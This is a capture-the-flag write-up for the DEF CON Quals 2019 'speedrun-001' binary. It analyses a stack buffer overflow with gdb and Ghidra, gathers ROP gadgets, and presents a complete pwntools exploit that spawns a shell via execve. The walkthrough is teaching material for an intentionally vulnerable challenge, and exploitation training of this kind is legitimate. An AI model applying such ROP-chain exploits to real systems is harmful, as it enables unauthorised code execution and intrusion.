Defcon Quals 2019 Speedrun1

Let's take a look at the binary:

$    file speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
$    pwn checksec speedrun-001
[*] '/Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./speedrun-001
Hello brave new challenger
Any last words?
15935728
This will be the last thing that you say: 15935728

Alas, you had no luck today.

So we can see that we are dealing with a 64 bit statically compiled binary. This binary has NX (Non-Executable stack) enabled, which means that the stack memory region is not executable. For more info on this, we can check the memory mappings with the vmmap command while the binary is running:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

Here we can see that the memory region for the stack begins at 0x00007ffffffde000 and ends at 0x00007ffffffff000. We can see that the permissions are rw. There are three different permissions you can assign to a memory region, r for it to be readable, w for it to be writable, and x for it to be executable. Since the stack has the permissions rw assigned to it, we can read and write to it. So pushing shellcode onto the stack and executing it isn't an option.

Also since the binary is statically compiled, that means that the libc portions the binary needs are compiled with the binary. So libc is not linked to the binary (as you can see there is no libc memory region). As a result, there are a lot of potential gadgets (will be covered later in this writeup) for us to use. In addition to that, since PIE (Position Independent Executable) is not enabled we know the addresses of all of those gadgets. What PIE does is it essentially incorporates ASLR into addresses from the binary, so we would need to leak an address from that memory region to know any of the addresses. Also since the binary has a lot more code in it as a result of being statically compiled, ghidra will take a bit of time to analyze it.

When we run the binary, it essentially just prompts us for input. When we take a look at the binary in Ghidra, we see a long list of functions. To find out which one actually runs the code we look for, we can use the backtrace (bt) command in gdb when it prompts us for input, which will tell us the functions that have been called to reach the point we are at:

gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
Hello brave new challenger
Any last words?
^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x0000000000400400  →   sub rsp, 0x8
$rcx   : 0x00000000004498ae  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x7d0             
$rsp   : 0x00007fffffffda28  →  0x0000000000400b90  →   lea rax, [rbp-0x400]
$rbp   : 0x00007fffffffde30  →  0x00007fffffffde50  →  0x0000000000401900  →   push r15
$rsi   : 0x00007fffffffda30  →  0x0000000000000000
$rdi   : 0x0               
$rip   : 0x00000000004498ae  →  0x5a77fffff0003d48 ("H="?)
$r8    : 0xf               
$r9    : 0x0               
$r10   : 0x000000000042ae30  →   pslldq xmm2, 0x3
$r11   : 0x246             
$r12   : 0x00000000004019a0  →   push rbp
$r13   : 0x0               
$r14   : 0x00000000006b9018  →  0x0000000000440ea0  →   mov rcx, rsi
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffda28│+0x0000: 0x0000000000400b90  →   lea rax, [rbp-0x400]     ← $rsp
0x00007fffffffda30│+0x0008: 0x0000000000000000     ← $rsi
0x00007fffffffda38│+0x0010: 0x0000000000000000
0x00007fffffffda40│+0x0018: 0x0000000000000000
0x00007fffffffda48│+0x0020: 0x0000000000000000
0x00007fffffffda50│+0x0028: 0x0000000000000000
0x00007fffffffda58│+0x0030: 0x0000000000000000
0x00007fffffffda60│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x44989f                  add    BYTE PTR [rbx+0x272f6605], cl
     0x4498a5                  add    BYTE PTR [rbp+0x311675c0], al
     0x4498ab                  ror    BYTE PTR [rdi], 0x5
 →   0x4498ae                  cmp    rax, 0xfffffffffffff000
     0x4498b4                  ja     0x449910
     0x4498b6                  repz   ret
     0x4498b8                  nop    DWORD PTR [rax+rax*1+0x0]
     0x4498c0                  push   r12
     0x4498c2                  push   rbp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-001", stopped, reason: SIGINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4498ae → cmp rax, 0xfffffffffffff000
[#1] 0x400b90 → lea rax, [rbp-0x400]
[#2] 0x400c1d → mov eax, 0x0
[#3] 0x4011a9 → mov edi, eax
[#4] 0x400a5a → hlt
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00000000004498ae in ?? ()
gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

After this I started jumping to the various addresses listed there (you can just push g in ghidra and enter the address), and looked at the decompiled code to see what's interesting. After jumping to a few of them, 0x400c1d looks like it's the main function:


undefined8
main(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3,undefined8 uParm4,undefined8 uParm5,
    undefined8 uParm6)

{
  long lVar1;
 
  FUN_00410590(PTR_DAT_006b97a0,0,2,0,uParm5,uParm6,uParm2);
  lVar1 = FUN_0040e790("DEBUG");
  if (lVar1 == 0) {
    FUN_00449040(5);
  }
  FUN_00400b4d();
  FUN_00400b60();
  FUN_00400bae();
  return 0;
}

When we look at the functions FUN_00400b4d and FUN_00400bae, we see that the essentially just print out text (which matches with what we saw earlier). Looking at the FUN_00400b60 function shows us something interesting:

void interesting(void)

{
  undefined input [1024];
 
  FUN_00410390("Any last words?");
  FUN_004498a0(0,input,2000);
  FUN_0040f710("This will be the last thing that you say: %s\n",input);
  return;
}

So we can see it prints out a message, runs a function (which is based on using the binary and the order of the messages, probably scans in data), then prints a message with our input. Looking at the function FUN_004498a0, it seems a bit weird:

/* WARNING: Removing unreachable block (ram,0x00449910) */
/* WARNING: Removing unreachable block (ram,0x00449924) */

undefined8 FUN_004498a0(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3)

{
  uint uVar1;
 
  if (DAT_006bc80c == 0) {
    syscall();
    return 0;
  }
  uVar1 = FUN_0044be40();
  syscall();
  FUN_0044bea0((ulong)uVar1,uParm2,uParm3);
  return 0;
}

It appears to be scanning in our input by making a syscall, versus using a function like scanf or fgets. A syscall is essentially a way for your program to request your OS or Kernel to do something. Looking at the assembly code, we see that it sets the RAX register equal to 0 by xoring eax by itself. For the linux x64 architecture, the contents of the rax register decides what syscall gets executed. And when we look on the sycall chart (https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) we see that it corresponds to the read syscall. We don't see the arguments being loaded for the syscall, since they were already loaded when this function was called. The arguments this function takes (and the registers they take it in) are the same as the read syscall, so it can just call it after it zeroes at rax. More on syscalls to come:

        004498aa 31 c0           XOR        EAX,EAX
        004498ac 0f 05           SYSCALL

So with that, we can see it is scanning in 2000 bytes worth of input into input which can hold 1024 bytes. We have an overflow that we can overwrite the return address with and get code execution. The question now is what to do with it?

We will be making a ROP Chain (Return Oriented Programming) and using the buffer overflow to execute it. A ROP Chain is made up of ROP Gadgets, which are bits of code in the binary itself that end in a ret instruction (which will carry it over to the next gadget). We will essentially just stitch together pieces of the binary's code, to make code that will give us a shell. Since this is all valid code, we don't have to worry about the code being non-executable. Since PIE is disabled, we know the addresses of all of the binary's instructions. Also since it is statically linked, that means it is a large binary with plenty of gadgets. Also just a fun side note, if you make a gadget that jumps in the middle of an instruction it completely changes what the instruction does.

We will be making a rop chain to make a sys_execve syscall to execute /bin/sh to give us a shell. Looking at the chart posted earlier, we can see the values it expects. With that we know that we need the following registers to have the following values. We aren't too worried about the arguments or environment variables we pass to it, so we can just leave those 0x0 (null) to mean no arguments / environment variables:

rax:    59    Specify         sys_execve
rdi:    ptr to "/bin/sh"    specify file to execute
rsi:    0                    specify no arguments passed
rdx:    0                    specify no environment variables passed

Now our ROP Chain will have three parts. The first will be to write /bin/sh somewhere in memory, and move the pointer to it into the rdi register. The second will be to move the necessary values into the other three registers. The third will be to make the syscall itself. Other than finding the gadgets to execute, the only thing we need to really do prior to writing the exploit is finding a place in memory to write /bin/sh. Let's check the memory mappings while the elf is running to see what we have to work with:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x/10g 0x6b6000
0x6b6000:    0x0    0x0
0x6b6010:    0x0    0x0
0x6b6020:    0x0    0x0
0x6b6030:    0x0    0x0
0x6b6040:    0x0    0x0

Looking at this, the elf memory region between 0x6b6000 - 0x6bc000 looks pretty good. I'll probably go with the address 0x6b6000. There are a few reasons why I choose this. The first is that it is from the elf's memory space that doesn't have PIE, so we know what the address is without an infoleak. In addition to that, the permissions are rw so we can read and write to it. Also there doesn't appear to be anything stored there at the moment, so it probably won't mess things up if we store it there. Also let's find the offset between the start of our input and the return address using the same method I've used before:

gef➤  b *0x400b90
Breakpoint 1 at 0x400b90
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
Hello brave new challenger
Any last words?
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x9               
$rbx   : 0x0000000000400400  →   sub rsp, 0x8
$rcx   : 0x00000000004498ae  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x7d0             
$rsp   : 0x00007fffffffda30  →  "15935728"
$rbp   : 0x00007fffffffde30  →  0x00007fffffffde50  →  0x0000000000401900  →   push r15
$rsi   : 0x00007fffffffda30  →  "15935728"
$rdi   : 0x0               
$rip   : 0x0000000000400b90  →   lea rax, [rbp-0x400]
$r8    : 0xf               
$r9    : 0x0               
$r10   : 0x000000000042ad40  →   pslldq xmm2, 0x4
$r11   : 0x246             
$r12   : 0x00000000004019a0  →   push rbp
$r13   : 0x0               
$r14   : 0x00000000006b9018  →  0x0000000000440ea0  →   mov rcx, rsi
$r15   : 0x0               
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffda30│+0x0000: "15935728"     ← $rsp, $rsi
0x00007fffffffda38│+0x0008: 0x000000000000000a
0x00007fffffffda40│+0x0010: 0x0000000000000000
0x00007fffffffda48│+0x0018: 0x0000000000000000
0x00007fffffffda50│+0x0020: 0x0000000000000000
0x00007fffffffda58│+0x0028: 0x0000000000000000
0x00007fffffffda60│+0x0030: 0x0000000000000000
0x00007fffffffda68│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400b83                  mov    rsi, rax
     0x400b86                  mov    edi, 0x0
     0x400b8b                  call   0x4498a0
 →   0x400b90                  lea    rax, [rbp-0x400]
     0x400b97                  mov    rsi, rax
     0x400b9a                  lea    rdi, [rip+0x919b7]        # 0x492558
     0x400ba1                  mov    eax, 0x0
     0x400ba6                  call   0x40f710
     0x400bab                  nop    
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-001", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400b90 → lea rax, [rbp-0x400]
[#1] 0x400c1d → mov eax, 0x0
[#2] 0x4011a9 → mov edi, eax
[#3] 0x400a5a → hlt
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0000000000400b90 in ?? ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffda30 - 0x7fffffffda38  →   "15935728"
gef➤  i f
Stack level 0, frame at 0x7fffffffde40:
 rip = 0x400b90; saved rip = 0x400c1d
 called by frame at 0x7fffffffde60
 Arglist at 0x7fffffffda28, args:
 Locals at 0x7fffffffda28, Previous frame's sp is 0x7fffffffde40
 Saved registers:
  rbp at 0x7fffffffde30, rip at 0x7fffffffde38

So we can see that the offset is 0x7fffffffde38 - 0x7fffffffda30 = 0x408 bytes. With that, the last thing we need is to find the ROP gadgets we will use. This time we will be using a utility called ROPgadget from https://github.com/JonathanSalwan/ROPgadget. This will just be a python script which will give us gadgets for a binary we give it. First let's just get four gadgets to just pop values into the four registers we need:

$    python ROPgadget.py --binary speedrun-001 | grep "pop rax ; ret"
0x0000000000415662 : add ch, al ; pop rax ; ret
0x0000000000415661 : cli ; add ch, al ; pop rax ; ret
0x00000000004a9321 : in al, 0x4c ; pop rax ; retf
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22
0x00000000004a9323 : pop rax ; retf
0x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
$    python ROPgadget.py --binary speedrun-001 | grep "pop rdi ; ret"
0x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret
0x000000000042378b : fsubp st(0) ; pop rdi ; ret
0x0000000000400686 : pop rdi ; ret
$    python ROPgadget.py --binary speedrun-001 | grep "pop rsi ; ret"
0x000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret
0x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004101f3 : pop rsi ; ret
$    python ROPgadget.py --binary speedrun-001 | grep "pop rdx ; ret"
0x00000000004a8881 : js 0x4a8901 ; pop rdx ; retf
0x00000000004498b5 : pop rdx ; ret
0x000000000045fe71 : pop rdx ; retf

So we found our four gadgets at the addresses 0x415664, 0x400686, 0x4101f3, and 0x4498b5. Next we will need a gadget which will write the string /bin/sh somewhere to memory. For this I looked through all of the gadgets with a mov instruction:

$    python ROPgadget.py --binary speedrun-001 | grep "mov" | less

Looking through the giant list, this one seems like it would fit our needs perfectly:

0x000000000048d251 : mov qword ptr [rax], rdx ; ret

This gadget will allow us to write an 8 byte value stored in rdx to whatever address is pointed to by the rax register. In addition it's kind of convenient since we can use the four gadgets we found earlier to prep this write. Lastly we just need to find a gadget for syscall:

$    python ROPgadget.py --binary speedrun-001 | grep ": syscall"
0x000000000040129c : syscall

Keep in mind that our ROP chain is comprised of addresses to instructions, and not the instructions themselves. So we will overwrite the return address with the first gadget of the ROP chain, and when it returns it will keep on going down the chain until we get our shell. Also for moving values into registers, we will store those values on the stack in the ROP Chain, and they will just be popped off into the regisets. Putting it all together we get the following exploit:

from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './speedrun-001': pid 12189
[*] Switching to interactive mode
Hello brave new challenger
Any last words?
This will be the last thing that you say: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\xb5\x98D
$ w
 03:19:37 up 13:12,  1 user,  load average: 0.51, 0.97, 0.88
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               Wed14   ?xdm?  14:26   0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
exploit.py  readme.md  speedrun-001

Just like that, we popped a shell!